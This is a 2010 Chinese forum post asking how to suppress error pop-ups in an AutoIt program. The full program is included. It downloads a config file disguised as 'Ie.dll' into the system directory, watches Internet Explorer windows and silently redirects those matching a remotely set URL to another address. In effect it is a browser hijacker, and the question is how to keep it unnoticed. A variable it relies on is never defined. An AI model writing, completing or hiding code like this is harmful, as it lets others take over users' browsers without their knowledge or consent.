本帖最后由 angelink 于 2010-8-15 23:16 编辑
如何在AU3程序偶尔报错的时候不弹出这个错误框?#include <_Ini.au3>
#include <CoProc.au3>
If Not @error Then
_CoProc("down")
Url()
EndIf
Func Url()
While 1
Sleep(400)
$URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
EndIf
Next
_ReduceMemory(@AutoItPID)
WEnd
EndFunc
Func _ReduceMemory($i_PID = -1)
If $i_PID <> -1 Then
Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle[0])
DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle[0])
Else
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
EndIf
Return $ai_Return[0]
EndFunc ;==>_ReduceMemory
Func Down()
Local $hDownload = InetGet("http://www.baidu.com/Ie.dll", @SystemDir & "\Ie.dll", 1, 1)
Do
Sleep(250)
Until InetGetInfo($hDownload, 2)
EndFunc ;==>Down
|